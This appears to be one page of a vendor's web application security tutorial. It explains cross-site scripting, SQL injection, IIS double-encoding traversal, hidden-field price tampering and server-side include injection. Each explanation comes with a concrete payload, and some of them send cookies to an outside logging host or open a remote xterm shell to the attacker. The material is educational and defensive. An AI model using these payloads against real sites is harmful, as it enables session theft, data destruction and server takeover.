Types of Errors:
Cross-Site Scripting
Cross Site Scripting (XSS) attacks occur when an attacker injects malicious data into a website via a form text box or other data entry method that will execute on another client's machine thereby tricking the user into giving away other information, defacing the website, or stealing cookies for later use. Cross Site Scripting attacks can result in stolen accounts or sessions, cookie theft, misdirection and defacing of the website. (McClure, Scambray & Kurtz 626)
Example: By entering the following text into a text box would allow the attacker to create a link on the vulnerable website. vulnerable to a Cross Site Scripting attack the victim's cookie will be sent to a script on www.cgisecurity.com setup to log cookies.
"> <script>document.location='http://www.cgisecurity.com.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
Result: This script works by first closing the ending quote and greater than symbol of the link tag then it injects the script which will run when the user clicks the link. The script changes the current webpage to point at the page on cgisecurity.com which contains a cgi script that will log a cookie if it is sent as a variable.
SQL injection
The process of adding SQL statements in user input. This is used by hackers to probe databases, bypass authorization, execute multiple SQL statements and call built-in stored procedures. Anytime a SQL statement is executed in source code without using stored procedures or parameterized statements it is vulnerable to a SQL injection attack. (McClure, Scambray & Kurtz 623)
Example:
A web application is using a SQL select statement to retrieve product information based on a user's selection.
sqlStatement embedded in asp.net C# source code:
string command = "select productName, productPrice" +
"from productTable where ID='" + idnumTextBox.Text + "'";
mySQLConnection.ExecuteSQLQuery(command);
The developer is expecting a single number in the idnumTextBox which once filled in would generate a SQL statement that look like this:
SELECT productName, productPrice
FROM productTable WHERE ID='32'
Result: The above SQL statement in source code is vulnerable because it does not do any checking whatsoever before calling the select statement. This allows the attacker to execute nearly any command on the database. By knowing a little about the way SQL statements are executed the attacker can simply end the first statement, inject his own SQL statement, and comment out the rest of the SQL statement.
SQL injection Example:
In the ID number box the attacker will close the first statement and inject a second malicious statement as such:
';drop table productTable--
The first apostrophe will close the original WHERE statement,
The semi-colon will end that statement allowing the hacker to execute any SQL statement.
Drop table productTable will delete the productTable permanently.
The final -- will comment the rest of the original statement out.
The new SQL statement is actually two statements the first is the statement specified in the asp.net source code, the second is the statement DROP table productTable. The new SQL statement will look like this when executed on the database:
SELECT productName, productPrice
FROM productTable WHERE ID='';
DROP table productTable--
Canonicalization Issues:
There are many different ways to represent a file, URL or device. A hacker may be able to gain access to a protected file by using alternate representations of the filename.
Example:
In the early part of 2001 a serious directory traversal bug was found in IIS 4.0 and 5.0 where an attacker could backup into the root directory and execute commands through cmd.exe remotely. IIS decodes input twice before executing so the attacker can simply encode their path traversal attack twice and bypass some URL checks. In this example we encode the first forward slash character as %5c by looking up its hexadecimal representation. Next we encode the % symbol a second time which is encoded as %25 in its hexadecimal representation. Finally we put them together to double encode the string as %255c which when double decoded will represent a single forward slash. Since IIS checks the URL for directory traversal before decoding it the doubly encoded forward slash character will slip by the URL check.
To execute commands on the remote machine the attacker simply has to send the following HTTP request:
http://vulnerable.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\
Result: This will return the directory contents of the C directory to the attacker. Returning the directory structure can be bad because it will allow the hacker to understand more about your system, more importantly if an attacker can execute code remotely and execute commands through cmd he can compromise the entire server by uploading exploit code and executing it remotely.
Hidden Tag Issues:
If forms are used sensitive information, such as price, should never be hard coded into the form using hidden tags. Instead use only product IDs on the form or at least verify the price once the form has been submitted.(McClure, Scambray & Kurtz 627)
Example:
<FORM ACTION= http://www.ecommerce.com/cgi-bin/order.cgi method="post">
<input type=hidden name="price" value="199.99">
<input type=hidden name="id" value="37">
Quantity: <input type=text name="quantity" size=3 maxlength=3 value=1>
</FORM>
Result:
The attacker can easily download this form to their local machine, edit the hidden price form, and submit it with the new price. If the price is not checked on the server the attacker will be able to order the item for a reduced price.
<FORM ACTION= http://www.ecommerce.com/cgi-bin/order.cgi method="post">
<input type=hidden name="price" value="1.99">
<input type=hidden name="id" value="37">
Quantity: <input type=text name="quantity" size=3 maxlength=3 value=1>
</FORM>
Server Side Include Issues:
Server side includes can cause issues when the attacker is able to call them remotely. Server side includes provide many different features including echo, file size, execute, email, and others. An attacker may be able to inject server side include code into a field that will be later evaluated as HTML to execute or e-mail information. Server side includes can be turned on by the system administrator to quickly interact with the system without programming. (McClure, Scambray & Kurtz 628)
Example:
The following SSI tag will send back an xterm to the attacker by exploiting the exec command which takes a command line argument as a parameter. In this case the full path of xterm (a terminal emulator for the X window environment in Linux) on the remote server has been specified along with command line switches to send the display output to the attacker's computer instead of the default display (on the server)
<!--#exec cmd=”/usr/X11R6/bin/xterm –display attacker:0 &”-->
Result:
Attacks can be created by injecting SSI code into a field that will be evaluated as an HTML document by the web server. By injecting the above server side include the attacker will force the server to return an xterm (command shell) session to the attacker. Once a hacker has obtained shell access he can search for another exploit to gain root access or download username-password pairs or sensitive data.
| <<Previous | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | Next>> |
Provided by: Security Innovation, The Application Security Company